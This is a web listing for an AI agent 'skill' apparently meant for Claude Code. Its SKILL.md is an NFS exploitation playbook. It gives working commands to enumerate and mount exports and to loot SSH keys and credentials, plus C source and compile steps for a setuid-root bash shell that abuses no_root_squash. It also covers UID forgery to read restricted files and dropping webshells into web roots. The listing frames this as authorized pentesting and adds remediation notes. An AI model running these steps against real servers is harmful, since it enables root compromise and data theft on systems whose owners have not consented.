Skip to content
Back to skills

Nfs Enumeration Exploitation

ASecurity

NFS (111/2049) enumeration and exploitation — list exports with showmount, mount shares, abuse no_root_squash for root via setuid binaries, and forge UIDs to read restricted files. Tier 1. Use when 2049/111 is open to steal data or escalate to root on the NFS server.

  • 16 stars
  • 0 votes
  • 0 copies
  • 3 views
  • Added November 17, 2026
securityrustshellbashbackend

Works with

  • cli

Security analysis

A100/100

Scanned November 17, 2026

npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill nfs-enumeration-exploitation --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Nfs Enumeration Exploitation?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Nfs Enumeration Exploitation
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/anandjogawade-nfs-enumeration-exploitation/badge)](https://www.skillsdirectory.com/skills/anandjogawade-nfs-enumeration-exploitation)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: nfs-enumeration-exploitation
description: NFS (111/2049) enumeration and exploitation — list exports with showmount, mount shares, abuse no_root_squash for root via setuid binaries, and forge UIDs to read restricted files. Tier 1. Use when 2049/111 is open to steal data or escalate to root on the NFS server.
---

# NFS Enumeration & Exploitation

NFS trusts the client to tell the truth about who it is. Misconfigured exports (no_root_squash, world-readable, weak host ACLs) turn a mount into arbitrary file read/write and often root on the server.

## Trigger phrases
`nfs, 2049, showmount, exports, no_root_squash, mount, uid forgery, nfs-ls, setuid root`

## Method
1. **Enumerate exports:** `showmount -e <IP>`; `nmap -p111,2049 --script nfs-ls,nfs-showmount,nfs-statfs <IP>`. Note which networks/hosts each export allows and the squash policy clues.
2. **Mount:** `mkdir /mnt/t && mount -t nfs -o vers=3 <IP>:/export /mnt/t -o nolock` (try vers=4 if 3 fails).
3. **Loot read-only:** spider for configs, SSH keys, backups, creds → feed credential skills.
4. **[no_root_squash → root]** If an export has `no_root_squash`, a client root can write files owned by root on the server. Drop a setuid-root shell:
   ```
   cat > /mnt/t/sh.c <<'EOF'
   int main(){setuid(0);setgid(0);system("/bin/bash -p");}
   EOF
   gcc /mnt/t/sh.c -o /mnt/t/sh && chmod +s /mnt/t/sh
   ```
   Then, with any shell on the target, run `/export/sh` → root. (See ${CLAUDE_PLUGIN_ROOT}/payloads/command-exec.md for shell variants.)
5. **[UID forgery]** For `root_squash` but world-files owned by another UID: create a local user with the matching UID (`useradd -u <uid> ...`), `su` to it, and read/write the mapped files.

## Modern / rare techniques
- **no_all_squash write-to-web-root** — if an NFS export backs a web root, drop a webshell → RCE via HTTP (chain to smb-share-webshell-style delivery).
- **NFSv4 ACL quirks** — v4 can expose files v3 hides; always test both versions.
- **rpcbind pivot** — enumerate via rpcbind-enumeration when showmount is filtered.

## Escalation / chaining
no_root_squash → local root on the NFS host → linux-privesc/credential harvest; stolen SSH keys → lateral-movement/pivoting; web-root write → webshell RCE.

## Backend & tooling
Operator Kali/WSL/HexStrike (mounting needs root and raw NFS). Compile the setuid binary on a matching arch; execute the planted binary on the target within RoE.

## Verification (background, before reporting)
Confirm the export really maps root (test-write a root-owned file and check ownership on the server if you have a shell) before claiming no_root_squash; re-list exports with a second tool (showmount vs nmap nfs-showmount). Remove planted binaries after proof.

## Evidence
showmount output, mount proof, the setuid PoC and `id` output showing uid=0 (or the restricted file read), affected export, impact. Remediation: root_squash/all_squash, restrict exports to specific hosts, no_exec/nosuid mount options, Kerberos (sec=krb5).

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.